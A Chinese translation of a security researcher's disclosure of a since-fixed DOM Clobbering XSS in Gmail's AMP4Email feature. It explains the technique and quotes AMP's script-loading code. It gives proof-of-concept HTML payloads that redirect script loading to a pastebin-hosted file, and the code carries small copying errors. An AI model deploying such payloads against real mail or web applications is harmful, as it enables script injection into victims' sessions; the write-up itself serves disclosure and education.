您当前的位置:首页 > 电脑百科 > 安全防护 > 网络安全

Gmail中AMP4Email所导致的XSS漏洞

时间:2019-11-20 10:54:52  来源:  作者:

这篇文章讲述的是我在2019年8月向谷歌报告的XSS漏洞,和Gmail中的AMP4Email有关,这也是被称为DOM Clobbering攻击手法的具体实现。

什么是AMP4Email

AMP4Email(也称为动态邮件)是Gmail的一个新特性,它能让电子邮件包含动态html内容。虽然很久以前就能编写含有HTML标记的电子邮件,但这通常只包是静态内容,即某种格式、图像等,不含任何脚本或表单。而AMP4Email则意味着更进一步,往电子邮件加入了更多的动态内容。在谷歌官方的一篇文章中,有一个完整的总结:

通过动态电子邮件,你可以很容易地直接对消息本身执行操作,比如回复某个事件、填写问卷、浏览目录或评论等。


以谷歌文档中的评论为例,当某人在评论中提到你时,你就不会收到单独的电子邮件,而是可以直接从消息中回复评论(可以观察到Gmail分出一个线程)。

不过该功能也引出了一些明显的安全问题,最明显的则是XSS。在电子邮件中插入动态内容,是否意味着我们可以轻松地注入任意JAVAscript代码嘛?不,这其实并不容易。

AMP4Email有一个强大的验证器,简而言之,就是它有一个强大白名单,限制使用某些HTML标记。具体情况可以通过https://amp.gmail.dev/playground/进行查看(如下图),你也可以向自己发送一封动态电子邮件,看看它是如何工作的!

Gmail中AMP4Email所导致的XSS漏洞

 

当你试图添加恶意HTML标签时,会看到一个错误。

Gmail中AMP4Email所导致的XSS漏洞

 


而我在尝试使用各种方法来绕过安全限制时,我注意到可以往标签中写入id属性。

Gmail中AMP4Email所导致的XSS漏洞

 


这貌似是一个好的切入点,因为创建包含自定义的id属性的HTML元素可能导致DOM Clobbering。

DOM Clobbering

DOM Clobbering是Web浏览器的一个旧特性,在许多应用中,它都会引起麻烦。一般来说,当你创建一个元素(例如<input id=username>),然后希望从JavaScript中引用它时,通常会使用document.getElementById('username')或document.querySelector('#username')。但以上并不是全部的方法!

传统的方法是通过全局window对象的属性来访问它,例如window.username。所以在以上例子中,这和document.getElementById('username')完全相同!如果此时应用的某些动作完全基于某些全局变量,那么就可能导致DOM Cloberring!

为了进一步分析DOM Clobbering,假设我们有以下javascript代码:

if (window.test1.test2) {
 eval(''+window.test1.test2)
}

此时我们的目的是只使用DOM Clobbering技术实现JS代码。为了做到这件事,我们需要解决以下两个问题:

  1. 我们知道可以为window创建新属性,那我们可以在其他对象上创建新属性吗(例如test1.test2)?
  2. 我们可以控制将DOM元素转换成字符串的流程么?大多数HTML元素在转换为字符串时,都会得到类似[object HTMLInputElement]的结果。

让我们先从第一个问题开始,最普通的解决方法是使用<form>标签。每个<form>标签中的<input>都可视为属性添加,<form>的name属性等于<input>的名字。例如下面的示例:

<form id=test1>
 <input name=test2>
</form>
<script>
 alert(test1.test2); // alerts "[object HTMLInputElement]"
</script>

而为了解决第二个问题,我编写了一个简短的JS代码,它遍历HTML中所有可能存在的元素,检查它们的toString方法是否继承自object。如果不是,则可能会返回其他对象。代码如下:

object.getOwnPropertyNames(window)
.filter(p => p.match(/Element$/))
.map(p => window[p])
.filter(p => p && p.prototype && p.prototype.toString !== object.prototype.toString)

以上代码返回了两个元素:HTMLAreaElement(<area>)和HTMLAnchorElement(<a>)。在AMP4Email中,第一个不在白名单,所以只能利用第二个。而对于<a>,toString函数只返回href属性的值:

<a id=test1 href=https://securitum.com>
<script>
 alert(test1); // alerts "https://securitum.com"
</script>

因此,如果我们想进行攻击,(通过window.test1.test2的值),则需要以下类似代码:

<form id=test1>
 <a name=test2 href="x:alert(1)"></a>
</form>

但问题是它根本不会生效。test1.test2是未定义的。就是把<a>替换为<input>也一样。

不过,关于这个问题有一个有趣的解决方案,可在基于WebKit和blink的浏览器中生效。假设我们有两个id相同的元素:

<a id=test1>click!</a>
<a id=test1>click2!</a>

此时访问window.test1时会得到什么呢?我期望获得第一个的值。但是在Chromium中,我们实际上得到了一个HTMLCollection!

Gmail中AMP4Email所导致的XSS漏洞

 


特别需要注意的是,我们可以通过索引以及id访问HTMLCollection中的特定的元素。这意味着window.test1.test1实际上指的第一个元素。我们也可以设置name属性,实现相同的效果:

<a id=test1>click!</a>
<a id=test1 name=test2>click2!</a>

现在我们可以通过window.test1.test2访问第二个anchor元素。

Gmail中AMP4Email所导致的XSS漏洞

 


现在,我们回到eval(''+window.test1.test2),最后的答案是:

<a id="test1"></a><a id="test1" name="test2" href="x:alert(1)"></a>

那么,我们如何在AMP4Email中使用呢?

实施攻击

上文提到,通过向元素添加id属性,AMP4Email很有可能会被攻击。为了找到一些攻击的条件,我决定查看一下window的属性。

Gmail中AMP4Email所导致的XSS漏洞

 

AMP4Email实际上也使用了一些针对DOM Clobbering的安全措施,例如它严格禁止了id属性的某些值。

Gmail中AMP4Email所导致的XSS漏洞

 


但是,AMP_MODE并没有被限制。所以让我们看看<a id=AMP_MODE>会发生什么。

Gmail中AMP4Email所导致的XSS漏洞

 


貌似AMP4Email试图加载某些Js文件,但由于404并未能成功。我们可以看到URL的中间有一个undefined,对于为什么会发生这种情况,我只能想出一个解释:AMP试图获得AMP_MODE属性,并将其插入URL中。但由于DOM Clobbering,导致预期的属性缺失。相关代码如下:

f.preloadExtension = function(a, b) {
 "amp-embed" == a && (a = "amp-ad");
 var c = fn(this, a, !1);
 if (c.loaded || c.error)
 var d = !1;
 else
 void 0 === c.scriptPresent && (d = this.win.document.head.querySelector('[custom-element="' + a + '"]'),
 c.scriptPresent = !!d),
 d = !c.scriptPresent;
 if (d) {
 d = b;
 b = this.win.document.createElement("script");
 b.async = !0;
 yb(a, "_") ? d = "" : b.setAttribute(0 <= dn.indexOf(a) ? "custom-template" : "custom-element", a);
 b.setAttribute("data-script", a);
 b.setAttribute("i-amphtml-inserted", "");
 var e = this.win.location;
 t().test && this.win.testLocation && (e = this.win.testLocation);
 if (t().localDev) {
 var g = e.protocol + "//" + e.host;
 "about:" == e.protocol && (g = "");
 e = g + "/dist"
 } else
 e = hd.cdn;
 g = t().rtvVersion;
 null == d && (d = "0.1");
 d = d ? "-" + d : "";
 var h = t().singlePassType ? t().singlePassType + "/" : "";
 b.src = e + "/rtv/" + g + "/" + h + "v0/" + a + d + ".js";
 this.win.document.head.AppendChild(b);
 c.scriptPresent = !0
 }
 return gn(c)
 }

下面是精简版:

var script = window.document.createElement("script");
script.async = false;

var loc;
if (AMP_MODE.test && window.testLocation) {
 loc = window.testLocation
} else {
 loc = window.location;
}

if (AMP_MODE.localDev) {
 loc = loc.protocol + "//" + loc.host + "/dist"
} else {
 loc = "https://cdn.ampproject.org";
}

var singlePass = AMP_MODE.singlePassType ? AMP_MODE.singlePassType + "/" : "";
b.src = loc + "/rtv/" + AMP_MODE.rtvVersion; + "/" + singlePass + "v0/" + pluginName + ".js";

document.head.appendChild(b);

在第一行中,新建了一个script元素,然后检查AMP_MODE.test和window.testLocation是否为真。如果AMP_MODE.localDev为真,则用window.testLocation生成URL。最后将一些其他属性联合起来,形成完整的URL。但由于编码方法的缺陷以及DOM Clobbering,我们可以控制最后的URL。我们假设AMP_MODE.localDev和AMP_MODE.test都为真,进一步简化代码:

var script = window.document.createElement("script");
script.async = false;

b.src = window.testLocation.protocol + "//" + 
 window.testLocation.host + "/dist/rtv/" + 
 AMP_MODE.rtvVersion; + "/" + 
 (AMP_MODE.singlePassType ? AMP_MODE.singlePassType + "/" : "") + 
 "v0/" + pluginName + ".js";

document.head.appendChild(b);

还记得之前的window.test1.test2么,我们只需做相同的事,覆盖window.testLocation.protocol:

<!-- We need to make AMP_MODE.localDev and AMP_MODE.test truthy-->
<a id="AMP_MODE"></a>
<a id="AMP_MODE" name="localDev"></a>
<a id="AMP_MODE" name="test"></a>

<!-- window.testLocation.protocol is a ba se for the URL -->
<a id="testLocation"></a>
<a id="testLocation" name="protocol" 
 href="https://pastebin.com/raw/0tn8z0rG#"></a>

不过在实际情况中,由于AMP中部署了Content-Security-Policy,因此代码并未执行:

Content-Security-Policy: default-src 'none'; 
script-src 'sha512-oQwIl...==' 
 https://cdn.ampproject.org/rtv/ 
 https://cdn.ampproject.org/v0.js 
 https://cdn.ampproject.org/v0/

因此后来我又开始寻找绕过CSP的方法,当然也成功找到了:https://twitter.com/SecurityMB/status/1162690916722839552。不过我发现2016年就有人发现了相同的方法。

如果你想进一步进行学习,可以查看点击这里。

时间线

2019年8月15日–向google发送报告

2019年8月16日–得到响应

2019年9月10日–Google确认漏洞

2019年10月12日–Google确认漏洞已修复

2019年11月18日–详情公开

本文由白帽汇整理并翻译,不代表白帽汇任何观点和立场

来源:https://nosec.org/home/detail/3188.html

原文:https://research.securitum.com/xss-in-amp4email-dom-clobbering/



Tags:XSS漏洞   点击:()  评论:()
声明:本站部分内容及图片来自互联网,转载是出于传递更多信息之目的,内容观点仅代表作者本人,如有任何标注错误或版权侵犯请与我们联系(Email:2595517585@qq.com),我们将及时更正、删除,谢谢。
▌相关推荐
安全专家发现Gmail动态邮件功能出现跨站攻击(cross-site scripting,XSS)漏洞,能让攻击者透过此类电子邮件发动攻击,所幸Google已在上个月修补Gmail这项漏洞。这个漏洞是由安全公...【详细内容】
2019-11-20  Tags: XSS漏洞  点击:(99)  评论:(0)  加入收藏
这篇文章讲述的是我在2019年8月向谷歌报告的XSS漏洞,和Gmail中的AMP4Email有关,这也是被称为DOM Clobbering攻击手法的具体实现。什么是AMP4EmailAMP4Email(也称为动态邮件)是Gm...【详细内容】
2019-11-20  Tags: XSS漏洞  点击:(101)  评论:(0)  加入收藏
今天在漏洞盒子找漏洞的时发现一个理财网站具体的就不透露了就试了试 结果发现竟然存在一个存储性xss于是决定搞一搞。其实xss在互联网当中是非常常见的,接下来我就给大家介...【详细内容】
2019-09-09  Tags: XSS漏洞  点击:(244)  评论:(0)  加入收藏
▌简易百科推荐
(报告出品方:德勤)数字化转型网络安全及转型挑战在任何行业,保持竞争力都需要快速开发新产品和 服务并推向市场。创新型业务模式不仅仅是简单地将现有 流程数字化,其正在覆盖供应...【详细内容】
2021-12-22  认是    Tags:网络安全   点击:(29)  评论:(0)  加入收藏
10月18号, W3C中网络平台孵化器小组(Web Platform Incubator Community Group)公布了HTML Sanitizer API的规范草案。这份草案用来解决浏览器如何解决XSS攻击问题。 网络安全中...【详细内容】
2021-12-07  实战Java  博客园  Tags:脚本攻击   点击:(20)  评论:(0)  加入收藏
一、背景介绍大家在Linux的日常使用中都晓得如何通过命令行去配置Linux的端口开放规则,但是大家知道如何配置Windows入站出站规则吗?有哪些常见的危险端口呢?如何解决上述问题...【详细内容】
2021-12-01  Kali与编程    Tags:防火墙   点击:(30)  评论:(0)  加入收藏
网络安全服务商Randori公司日前发布了一份调查报告,列出了网络攻击者最有可能攻击或利用的IT资产。在遭遇Solarwinds黑客攻击一周年之际,以及在网络安全(尤其是勒索软件和供应...【详细内容】
2021-10-28  企业网D1net   企鹅号  Tags:网络攻击   点击:(57)  评论:(0)  加入收藏
0x01.背景实验利用Dns Administrators 组成员,通过远程配置Dns服务,进行Dll inject从而实现特权提升。 在域内,Dns server 通常为Dc Server,Dns服务器管理基于rpc,通过调用c:\wi...【详细内容】
2021-10-22  IT影子    Tags:特权提升   点击:(37)  评论:(0)  加入收藏
本文主要介绍和总结了CSRF跨站请求伪造的基本原理和主要防范措施,工作中有用到的朋友不妨收藏转发一下,以备您参考。什么是CSRF?CSRF跨站点请求伪造(Cross&mdash;Site Request...【详细内容】
2021-10-13  快乐中恒    Tags:CSRF   点击:(49)  评论:(0)  加入收藏
waf拦截在打某市 Hvv 第一天就找到一个文件上传的点,经过测试,可以直接任意文件上传,没有什么道理。 直接尝试上传 Php 文件,被 waf 拦截了 2021最新整理网络安全/渗透测试/安...【详细内容】
2021-10-11  KaliMa    Tags:防火墙   点击:(56)  评论:(0)  加入收藏
应用程序与文件系统的交互始终是高度安全敏感的,因为较小的功能漏洞很容易成为可利用漏洞的来源。这种观察在web文件管理器的情况下尤其正确,其作用是复制完整文件系统的功能...【详细内容】
2021-09-17  IT野涵    Tags:漏洞链   点击:(56)  评论:(0)  加入收藏
您的苹果手机尽管iPhone比Android更安全,但也可以通过各种方式入侵。避免黑客入侵的最佳方法是警惕奇怪的链接或粗略的应用程序,并仅在必要时提供信息。电池寿命差和性能低下...【详细内容】
2021-09-16  Hackers爱好者    Tags:黑客入侵   点击:(633)  评论:(0)  加入收藏
防火墙一般布置在逻辑区域的入口处,位于三层网络架构的核心和汇聚之间,起到隔离逻辑区域,为逻辑区域创建安全策略的作用。 上面就是应用区的防火墙布置方式,他布置在应用区,可以...【详细内容】
2021-09-03  知来知去    Tags:主备模式防火墙   点击:(109)  评论:(0)  加入收藏
最新更新
栏目热门
栏目头条